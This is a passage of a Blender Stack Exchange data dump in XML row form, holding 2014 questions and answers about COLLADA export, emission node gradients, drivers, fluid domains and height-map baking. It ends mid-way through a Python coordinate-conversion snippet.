  <row Id="9001" PostTypeId="1" CreationDate="2014-04-29T22:41:50.057" Score="2" ViewCount="146" Body="&lt;p&gt;I'm trying to export a Blender model which is created using the Cycles renderer in Blender. The problem is that it does not successfully export as a &lt;code&gt;.dae&lt;/code&gt; file. The image references and images are missing. What is the correct way to export a Blender model to a COLLADA file?&lt;/p&gt;&#xA;" OwnerUserId="3330" LastEditorUserId="743" LastEditDate="2014-04-30T01:05:32.050" LastActivityDate="2014-04-30T01:05:32.050" Title="Export to COLLADA with textures using Cycles renderer" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;export&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-10-11T13:32:56.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="9002" PostTypeId="1" AcceptedAnswerId="9004" CreationDate="2014-04-30T04:51:30.510" Score="6" ViewCount="3553" Body="&lt;p&gt;How can I make a plane emit more light from the center using an emission node?&#xA;On this image here made with Cinima 4d The orange and blue planes are emitting more light from the center:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ZmH7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I acheve this effect in blender with cycles?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2014-04-30T07:41:23.283" Title="How can you get a plane with a emission node to be brighter in the center?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9003" PostTypeId="2" ParentId="8933" CreationDate="2014-04-30T05:39:56.273" Score="1" Body="&lt;p&gt;This setup has worked well for me.  I think the image has all the requirements outlined.&lt;img src=&quot;https://i.stack.imgur.com/oHDIn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In past versions of Blender, using &quot;Textured Solid&quot; had a huge viewport performance hit when working with high geometry counts but this seems to have been fixed for recent builds.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can also just drop and drag a UV mapped image from your HD folder onto the model to see what it looks like without having to go through all the trouble of loading the texture in as a material asset.  This is very useful when baking.  Also, baked textures usually update in this view automatically.  (I say 'usually' because using &lt;em&gt;Undo&lt;/em&gt; will sometimes cause Blender to hold onto the old texture.)  You can fix this using the UV Editor to save the image and then activate the 'refresh' button for that texture, now the 3D Viewport will update the texture to the current version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/81gOm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-04-30T05:52:43.250" LastActivityDate="2014-04-30T05:52:43.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9004" PostTypeId="2" ParentId="9002" CreationDate="2014-04-30T06:31:45.540" Score="7" Body="&lt;h1&gt;Material&lt;/h1&gt;&#xA;&lt;p&gt;You can use a &lt;em&gt;Gradient node&lt;/em&gt; with &lt;em&gt;Object mapping&lt;/em&gt; to make a spherical gradient based on the location of the object origin:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4udM1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4udM1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The mapping node is just used to scale the texture up a bit.&lt;br /&gt;&#xA;The multiply node controls the overall strength.&lt;/p&gt;&#xA;&lt;p&gt;Note that scaling in object mode will stretch the texture accordingly, however applying the scale or scaling in edit mode will not.&lt;/p&gt;&#xA;&lt;h1&gt;AO&lt;/h1&gt;&#xA;&lt;p&gt;It's also possible that your reference image was created with a very heavy &lt;em&gt;Ambient Occlusion&lt;/em&gt; effect.&lt;/p&gt;&#xA;&lt;p&gt;To achieve this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;AO&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Render layers &amp;gt; Passes&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust it and multiply it with the combined pass in the compositor:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hFhSm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Combined with the gradient:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aV8Q6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-30T07:41:23.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9005" PostTypeId="1" AcceptedAnswerId="9047" CreationDate="2014-04-30T09:12:04.380" Score="3" ViewCount="2390" Body="&lt;p&gt;I'm frequently making objects with text on them. To make those texts easily editable, I'm using &quot;Text&quot; objects that I glue to the surface of my target object using Shrinkwrap Modifier (as shown on the picture below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, problem arises, when I want some of the texts to be eg. &lt;strong&gt;concave&lt;/strong&gt;. I don't want to use Boolean modifier, because it's too slow. The ideal solution would be some kind of modifier that would magically &quot;project&quot; my text objects onto the target surface as simple black-and-white (no shades of grey are necessary) texture, where it can be used as normal map using bump node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could just make a black on white text in Gimp and use it as simple image texture, but that would not be easily editable from within Blender. The preferred solution would be something easily editable &quot;on the fly&quot; by pressing tab on the Text object and just typing new text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FX6Zl.png&quot; alt=&quot;flat, editable text using shrinkwrap&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="2217" LastEditDate="2014-05-01T03:20:50.180" LastActivityDate="2014-05-01T11:23:17.293" Title="How to make easily editable text that acts as texture or normal map for another object?" Tags="&lt;workflow&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9006" PostTypeId="2" ParentId="8930" CreationDate="2014-04-30T09:52:45.160" Score="6" Body="&lt;p&gt;If you are using Cycles and just want to make all shadows in the scene darker, you can simply use the new &quot;&lt;strong&gt;Clamp Indirect&lt;/strong&gt;&quot; option. By setting it to a very low value (eg. 0.01) you can minimize the amount of indirect light that brightens shadows, thus making them darker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kQYgP.png&quot; alt=&quot;very low clamp indirect darkens shadows&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2014-04-30T09:52:45.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9007" PostTypeId="1" CreationDate="2014-04-30T10:28:15.197" Score="3" ViewCount="10943" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Modifier Cannot Be Applied to a mesh with Shape Keys&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have built a rollercoaster track, and in order to continue the build without lag, I must apply the Modifiers. Is there a fast and easy way I can apply these modifiers and get around the Shape Key issue?&lt;/p&gt;&#xA;" OwnerUserId="3333" LastEditorUserId="1363" LastEditDate="2014-04-30T12:40:42.387" LastActivityDate="2019-01-25T00:14:18.563" Title="Cannot Apply Array Modifier" Tags="&lt;modifiers&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9009" PostTypeId="1" CreationDate="2014-04-30T10:54:03.357" Score="6" ViewCount="5126" Body="&lt;p&gt;I'm trying to add a sky to my scene but it won't appear in the render. I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adding a sky using the sky and atmosphere options when creating a sun lamp&lt;/li&gt;&#xA;&lt;li&gt;Adding a sky by going to the world panel and using paper sky / blend sky&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All I get is this default background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P1WMz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3334" LastEditorUserId="599" LastEditDate="2014-04-30T19:11:32.310" LastActivityDate="2015-07-20T14:32:05.250" Title="Background not appearing when rendering" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9010" PostTypeId="2" ParentId="9009" CreationDate="2014-04-30T10:56:14.693" Score="4" Body="&lt;p&gt;Make sure &lt;em&gt;Alpha&lt;/em&gt; is set to &lt;em&gt;Sky&lt;/em&gt; in &lt;em&gt;Render settings &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FTMGL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;em&gt;Sky&lt;/em&gt; is enabled in &lt;em&gt;Render Layers &gt; Layer&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LS37T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15780" LastEditDate="2015-07-19T22:18:02.397" LastActivityDate="2015-07-19T22:18:02.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9011" PostTypeId="1" AcceptedAnswerId="9013" CreationDate="2014-04-30T11:01:34.003" Score="3" ViewCount="1037" Body="&lt;p&gt;I have an Empty &lt;code&gt;x&lt;/code&gt;-position driving the rotation of a Cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want to divide the value of the position of the Empty, so that the Cube rotates half the value.&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="1363" LastEditDate="2014-04-30T12:37:42.353" LastActivityDate="2014-04-30T12:37:42.353" Title="How do I divide the driver value?" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9012" PostTypeId="1" AcceptedAnswerId="9014" CreationDate="2014-04-30T11:38:00.023" Score="5" ViewCount="2446" Body="&lt;p&gt;There is &quot;Face selection masking for painting&quot; while in Texture painting in 3D View,&#xA;but I want to paint with a texture brush in the &lt;em&gt;UV / Image Editor&lt;/em&gt;, so that the texture is not view angle dependent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to paint only on the area of specific faces, while in UV / Image Editor?&lt;/p&gt;&#xA;" OwnerUserId="3152" LastEditorUserId="1363" LastEditDate="2014-04-30T12:42:38.680" LastActivityDate="2014-04-30T13:06:35.150" Title="Face masking for texture paint in UV / Image Editor" Tags="&lt;texture-painting&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9013" PostTypeId="2" ParentId="9011" CreationDate="2014-04-30T12:36:35.297" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a single driver to the cube (e.g. Z-rotation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;em&gt;Graph Editor&lt;/em&gt; and switch to &lt;em&gt;Drivers&lt;/em&gt; mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;Ob/Bone&lt;/em&gt; of the variable &lt;code&gt;var&lt;/code&gt; to reference the Empty&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter the &lt;i&gt;Expr&lt;/i&gt;ession &lt;code&gt;var/2&lt;/code&gt; (or &lt;code&gt;var*0.5&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A42Kj.png&quot; alt=&quot;Simple Driver Setup using a variable&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var&lt;/code&gt; is equal to the &lt;em&gt;X Location&lt;/em&gt; of the Empty, dividing it by 2 halves the &quot;influence&quot; of the location to the rotation of the Cube.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-30T12:36:35.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9014" PostTypeId="2" ParentId="9012" CreationDate="2014-04-30T13:06:35.150" Score="5" Body="&lt;p&gt;Not really at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Masks are not supported yet in the image editor though it is a feature that we will surely be implementing in the future.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2014-04-30T13:06:35.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9015" PostTypeId="1" CreationDate="2014-04-30T14:37:26.223" Score="3" ViewCount="584" Body="&lt;p&gt;I'm learning to use the game engine and I don't know why a mesh change its shape when I press P key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened when I subdivided the red mesh. I subdivided it because I want the ball collide the red wall but I don't want a rigid wall, I want a soft wall. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/brguP.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vFvc9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file: &lt;a href=&quot;http://www.pasteall.org/blend/28811&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/28811&lt;/a&gt;&#xA;(The ball moves with left and right arrows)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-04-30T15:56:20.320" Title="Mesh changes its shape in game engine" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9016" PostTypeId="1" CreationDate="2014-04-30T15:19:17.543" Score="4" ViewCount="3749" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SkEhO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made this scene with a fluid simulation a few days ago, but the fluid domain turned into the melt word &quot;ICE&quot; instead of the cube I used as the domain. Is this supposed to happen? Where is the cube domain now and how can I see or edit it again? Even after I click &quot;load start up file&quot; or close the blender and reopen,the domain stay that way in my next project.&lt;/p&gt;&#xA;" OwnerUserId="3189" LastEditorUserId="3189" LastEditDate="2014-05-01T14:18:12.857" LastActivityDate="2014-05-01T14:18:12.857" Title="My fluid domain disappears and appears to turn into the fluid object when I bake" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9017" PostTypeId="1" AcceptedAnswerId="9020" CreationDate="2014-04-30T15:45:23.370" Score="3" ViewCount="2123" Body="&lt;p&gt;I am creating a small game using the Irrlicht engine. I have created a human model using MakeHuman and I have imported it in Blender. I am a total beginner to 3D I have created some basic animations in the model. MakeHuman already applied textures to the model, so I think It does not need to be done again. How to export the human model with textures and animations to use it in Irrlicht?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-04-30T16:12:49.410" Title="How to export amodel from blender with textures and animations to use the model in Irrlicht?" Tags="&lt;animation&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9018" PostTypeId="1" CreationDate="2014-04-30T15:51:37.090" Score="5" ViewCount="1268" Body="&lt;p&gt;I wanna make a carpet with two different materials (some part is glossy and the rest is diffuse) using only one plane and one particles system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do that &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-04-30T18:44:12.123" Title="Two Different Materials in One Particles System" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9019" PostTypeId="2" ParentId="9015" CreationDate="2014-04-30T15:56:20.320" Score="2" Body="&lt;p&gt;This is because you modified the mesh in some way after changing the physics &lt;em&gt;Type&lt;/em&gt;. To fix, just simply apply the scale on the object, you can quickly do this with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Scale&lt;/em&gt; or from the &lt;em&gt;3d view&lt;/em&gt; header choose &lt;em&gt;Object &gt; Apply &gt; Scale&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-04-30T15:56:20.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9020" PostTypeId="2" ParentId="9017" CreationDate="2014-04-30T16:12:49.410" Score="0" Body="&lt;p&gt;According to the Irrlicht Feature page, the engine supports the follow for fomats and texture types.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Direct import of common mesh file formats: Maya (.obj), 3DStudio (.3ds), COLLADA (.dae), Blitz3D (.b3d), Milkshape (.ms3d), Quake 3 levels (.bsp), Quake2 models (.md2), Microsoft DirectX (.X)… [more]&lt;/li&gt;&#xA;&lt;li&gt;Direct import of Textures: Windows Bitmap (.bmp), Portable Network Graphics (.png), Adobe Photoshop (.psd), JPEG File Interchange Format (.jpg), Truevision Targa (.tga), ZSoft Painbrush (.pcx)… [more]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In order to export the mesh, you need to select the various components, then from the File -&gt; Export menu you have a variety of options to choose from. See image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have it exported then its a case of doing the engine side stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZUhQx.png&quot; alt=&quot;Export Menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-04-30T16:12:49.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9021" PostTypeId="2" ParentId="9016" CreationDate="2014-04-30T17:50:45.560" Score="5" Body="&lt;h2&gt;Fluid Domain &quot;Disappears&quot; When Baked&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Don't worry, that is what is supposed to happen, even though it may seem odd. When you bake a fluid simulation, the domain object visually becomes the fluid flowing and no longer is visible as the cube domain object you started with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JZGo9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But notice that if you want to see the original domain cube again, you can toggle (turn on/off) the visibility of the Fluid property of the domain by clicking on the &quot;Display Modifier&quot; icon ( &lt;img src=&quot;https://i.stack.imgur.com/b1oQs.png&quot; alt=&quot;enter image description here&quot;&gt; ) next to the &quot;Fluid&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to see the domain object's original shape (geometry) is to set the &quot;Viewport Display&quot; to &quot;Geometry&quot; in the domain's settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/johRT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the fluid domain cube is still intact if you want to modify it -- just switch to Edit mode and you can see and edit the cube:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9fpl5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-30T18:30:21.170" LastActivityDate="2014-04-30T18:30:21.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9023" PostTypeId="2" ParentId="1210" CreationDate="2014-04-30T18:28:11.977" Score="0" Body="&lt;p&gt;I had the exact same problem and I fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the directory (see gandalf3's anwser).&lt;/li&gt;&#xA;&lt;li&gt;Bake a new fluid simulation and wait justt a little bit longer after the baking is done.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-04-30T18:28:11.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9025" PostTypeId="2" ParentId="9018" CreationDate="2014-04-30T18:44:12.123" Score="5" Body="&lt;p&gt;You can use a black and white texture mask (in this case the alpha channel of the blender logo) to mix between two shaders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/16i8u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X73wo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you need to UV unwrap your plane in order for this to work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the plane selected, press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to select all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Unwrap&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-30T18:44:12.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9029" PostTypeId="1" CreationDate="2014-04-30T22:02:31.250" Score="5" ViewCount="1054" Body="&lt;p&gt;I always have the same problem when I try to use my mirror modifier: nothing happens. It's very frustrating, and simply can't find how to fix this. Any ideas?&lt;img src=&quot;https://i.stack.imgur.com/aYXsf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3342" LastEditorUserId="12" LastEditDate="2014-05-01T03:54:45.560" LastActivityDate="2014-05-01T03:54:45.560" Title="Mirror modifier not showing other half of mesh" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9030" PostTypeId="1" CreationDate="2014-04-30T22:15:48.470" Score="4" ViewCount="7927" Body="&lt;p&gt;I need to create a height-map and pass it into a custom shader in Unity3D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can pass it into the shader as a greyscale texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I can create a height-map in Blender by starting out with a 100x100 (say) grid, restricting movement to only the vertical axis, then I can use stock tools to mould the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now is there any tool that can export the resultant height-map as a greyscale texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I have to write my own using Python?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-05-01T02:00:36.020" Title="Create and manipulate height-map, save as greyscale texture" Tags="&lt;texturing&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9031" PostTypeId="2" ParentId="9030" CreationDate="2014-04-30T22:24:42.493" Score="6" Body="&lt;p&gt;You can use &lt;em&gt;Displacement baking&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your base grid/plane, create a new blank image and UV unwrap the plane onto it, then duplicated it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Model/sculpt the plane (if you are using sculpting and not using dyntopo, you may want to use the multires modifier. See below).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the sculpted/deformed plane and the duplicate (still just a flat plane), so that the flat plane is the active object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Selected to active&lt;/em&gt; in &lt;em&gt;Render settings &amp;gt; Bake&lt;/em&gt; and set the bake mode to &lt;em&gt;Displacement&lt;/em&gt;. If your sculpted plane goes more than half a BU above or below the duplicated plane, you may want to enable &lt;em&gt;Normalize&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Bake&lt;/em&gt;. Note that currently have BI selected as the current render engine to bake textures, however this is will be available for cycles in 2.71.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8Pyi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Multires&lt;/h1&gt;&#xA;&lt;p&gt;If you are going to use sculpting, you could also use the &lt;em&gt;Multires modifier&lt;/em&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/q/8685/599&quot;&gt;This post&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add plane, create image, UV unwrap, and add multires modifier in simple mode.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sculpt details&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Preview&lt;/em&gt; subdivision level to zero, then bake with &lt;em&gt;Bake from multires&lt;/em&gt; enabled:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g5G6c.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Cycles baking&lt;/h1&gt;&#xA;&lt;p&gt;Even before 2.71 comes out, it is possible to do this in cycles by rendering your terrain top down (with an orthographic camera) and with the Z position mapped to a gradient.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/7199/599&quot;&gt;this post for details&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-01T01:46:06.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9032" PostTypeId="2" ParentId="8979" CreationDate="2014-04-30T23:24:06.617" Score="0" Body="&lt;p&gt;Use image/movie input nodes for the rendered animation as it has frame variables like offset and current frame. You can animate them to pause at the correct time.&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2014-04-30T23:24:06.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9033" PostTypeId="2" ParentId="8999" CreationDate="2014-05-01T00:22:17.360" Score="3" Body="&lt;p&gt;Finally got it! There were a few problems with my earlier attempts. The one that was throwing me off the most was incorrect position (because the rotations never looked consistently right with a wrong position)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out I had the position wrong because the +Y in Blender is actually -Z in a Y-Up RH coordinate system. Or in other words when converting the code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;posX = lightObj.matrix_world[0][3]&#xA;posY = lightObj.matrix_world[2][3]&#xA;posZ = -lightObj.matrix_world[1][3] # note the negative&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(swizzle YZ and negate Z)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem I encountered... It turns out there is a special case when exporting lights, which I didn't realize earlier. In Blender, the cone of a spotlight with zero rotations aims straight down, where in Maya, Houdini, and my game engine, spotlights face down the -Z. (If blender were to match this it would aim down the +Y)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with these in mind, I came to this for rotations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# for objects&#xA;obj = bpy.data.objects['objName']&#xA;mm = bpy_extras.io_utils.axis_conversion(from_forward='Y', from_up='Z', to_forward='-Z', to_up='Y')&#xA;om = obj.matrix_world.to_3x3()&#xA;t = mm * om&#xA;v = t.to_euler('XYZ')&#xA;print('pos:(%s, %s, %s)' % (obj.matrix_world.translation.x, obj.matrix_world.translation.z, -obj.matrix_world.translation.y))&#xA;print('rot:(%s, %s, %s)' % (degrees(v.x) + 90.0, degrees(v.y), degrees(v.z)))&#xA;# not totally sure why we need the +90 in X, but assume it has something to do with compensating for the axis_conversion&#xA;&#xA;# for spot lights (they face straight down in Blender)&#xA;obj = bpy.data.objects['spotLightName']&#xA;mm = 